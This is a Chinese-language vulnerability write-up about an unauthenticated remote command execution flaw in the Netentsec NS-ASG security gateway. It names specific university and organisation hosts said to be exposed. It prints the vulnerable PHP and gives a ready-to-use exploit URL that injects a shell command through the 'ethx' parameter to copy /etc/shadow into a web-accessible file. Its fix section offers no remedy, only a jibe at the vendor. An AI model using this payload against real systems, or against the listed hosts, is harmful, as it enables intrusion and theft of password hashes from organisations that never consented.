网康 NS-ASG 应用安全网关 远程命令执行下载

无需登录，直接执行远程命令

初步搜索涉及以下单位及学校：

https://vpn.lib.tju.edu.cn

https:// 211.68.223.12

https://221.213.45.231

https://202.113.20.208

https://202.113.49.100/

https://122.226.150.69

https://gljy.cn

等等单位….



漏洞点

 

<?php 

include("include/common.inc"); 

include("./gadgets/lib/FusionCharts.php");

include("./gadgets/lib/Utilities.php");

//Authenticate($USER_ADMIN);

switch ($action)

{

case "":

	list_group("");

	break;

case "reboot":

	exec("sudo nohup /sbin/reboot &");

	list_group("");

	break;

case "poweroff":

	exec("sudo /sbin/poweroff &");

	list_group("");

	break;

case "getethinfo":

	$rtinfo = getRT($ethx);  //这里触发漏洞，跟踪该函数

	echo json_encode($rtinfo);

	break;

}





function getRT($eth='eth0'){

	$result  = shell_exec("sudo /sbin/ifconfig $eth"); //这里直接执行了。。。

	$ethinfo = array();

	preg_match("/RX packets:\d+/",$result,$rtarr);

	$ethinfo['rpackets'] = intval(substr($rtarr[0],11));

	preg_match("/TX packets:\d+/",$result,$rtarr);

	$ethinfo['tpackets'] = intval(substr($rtarr[0],11));

	preg_match("/RX bytes:\d+/",$result,$rtarr);

	$ethinfo['rbytes'] =intval(substr($rtarr[0],9));

	preg_match("/TX bytes:\d+/",$result,$rtarr);

	$ethinfo['tbytes'] = intval(substr($rtarr[0],9));

	return $ethinfo;

}

验证方式如下：

https://www.xxxxx.com/admin/device_status.php?action=getethinfoðx=a| cat /etc/shadow > /Isc/third-party/httpd/htdocs/test.php

修复方案：

网康的设备是临时工写的么？